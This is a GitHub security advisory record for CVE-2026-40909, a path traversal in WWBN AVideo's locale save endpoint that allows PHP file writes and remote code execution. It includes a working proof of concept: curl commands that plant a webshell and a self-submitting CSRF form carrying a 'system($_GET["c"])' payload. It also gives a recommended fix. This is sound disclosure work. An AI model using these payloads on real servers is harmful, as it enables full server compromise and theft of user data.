{"id":"GHSA-6rc6-p838-686f","summary":"WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)","details":"## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 — only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {\n    // ...\n    die(json_encode($obj));\n}\n\n// locale/save.php:16 — base directory\n$dir = \"{$global['systemRootPath']}locale/\";\n\n// locale/save.php:30 — UNSANITIZED path concatenation\n$file = $dir.($_POST['flag']).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 — UNSANITIZED content write\nfwrite($myfile, $_POST['code']);\n```\n\n**Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n\u003c?php\nglobal $t;\n{$_POST['code']}  // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b 'PHPSESSID=\u003cadmin_session\u003e' \\\n  -X POST 'https://target/locale/save.php' \\\n  -d 'flag=../../webshell&code=$t[\"x\"]=1;?\u003e\u003c%3fphp+system($_GET[\"c\"]);'\n\n# Step 2: Execute commands via the written webshell\ncurl 'https://target/webshell.php?c=id'\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"POST\" action=\"https://target/locale/save.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"flag\" value=\"../../webshell\"\u003e\n  \u003cinput type=\"hidden\" name=\"code\" value='$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);'\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.forms[0].submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php — after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {\n    $obj-\u003estatus = 0;\n    $obj-\u003eerror = __(\"Invalid token\");\n    die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST['flag']); // strip directory components\nif (empty($flag) || preg_match('/[^a-zA-Z0-9_\\-]/', $flag)) {\n    $obj-\u003estatus = 0;\n    $obj-\u003eerror = __(\"Invalid locale flag\");\n    die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . '/' . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n    $obj-\u003estatus = 0;\n    $obj-\u003eerror = __(\"Invalid file path\");\n    die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.","aliases":["CVE-2026-40909"],"modified":"2026-05-05T16:11:48.424545Z","published":"2026-04-14T22:49:48Z","database_specific":{"github_reviewed_at":"2026-04-14T22:49:48Z","nvd_published_at":"2026-04-21T20:17:03Z","cwe_ids":["CWE-22"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40909"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6rc6-p838-686f/GHSA-6rc6-p838-686f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"}]}